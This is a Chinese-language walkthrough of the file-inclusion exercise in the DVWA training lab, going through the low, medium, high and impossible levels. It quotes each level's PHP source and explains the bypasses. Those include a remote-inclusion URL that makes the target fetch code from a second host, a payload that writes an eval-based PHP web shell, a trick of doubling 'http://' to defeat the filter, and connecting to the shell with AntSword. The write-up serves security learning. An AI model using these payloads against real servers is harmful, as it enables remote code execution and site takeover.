前提准备:
为了保证实验效果,要确定开启了文件包含
低级难度
先来看一下源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到没有做任何过滤,我们可以任意文件包含。
首先尝试包含一个不存在的文件,出现了报错,并且显示出了网站的路径
现在直接远程包含,拿下它。靶机NAT,再额外准备一台NAT电脑让二者能够互相访问。说起来容易,做起来难。
排雷现场:
在远程主机上写下如下代码,起名为1.php
<?php
fputs(fopen("shell.php","w"),"<?php eval(\$_POST[123]);?>")?>
然后让靶机去远程包含,如下
http://192.168.40.131/DVWA-master/vulnerabilities/fi/?page=http://192.168.40.128/1.php
结果是会出现报错,无论是在远程主机上直接用浏览器访问还是远程包含,都会报错,并且没有生成一个名为shell.php的文件(如果你的靶机没有报错,请检查是否生成了shell.php)
解决办法:
把远程主机的1.php文件改名为1.txt即可(挺神奇的哈)
1:先访问远程主机
2:靶机远程文件包含
3:访问shell.php
4:去靶机上确认
路径:C:\phpstudy\WWW\DVWA-master\vulnerabilities\fi
5:蚁剑连接
注意,连接的是shell.php文件所在地址
中级难度
先来看一下源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,把"http://", “https://”,"…/", "…"替换为了空字符,复写http即可使用远程文件包含。(为了保证实验效果,还是先删除前面生成的shell.php比较好)
1:选中复制http://
2:粘贴进去(蓝色部分为粘贴进去的内容)
之后的套路就跟前面一样了
高级难度
先看一下源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
高级难度对文件名做了限制,必须为 file* 或者 include.php才行,只能考虑本地文件包含了,但是要怎样才能包含恶意文件呢?需要利用文件上传模块上传恶意文件,然后去包含。如果你能够上传,怎样上传请参考“文件上传”。
这里演示一下本地文件包含:
不可能难度
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到采用了白名单过滤,即便上传同名文件也会因为同名的缘故被系统更改文件名,避免了文件包含漏洞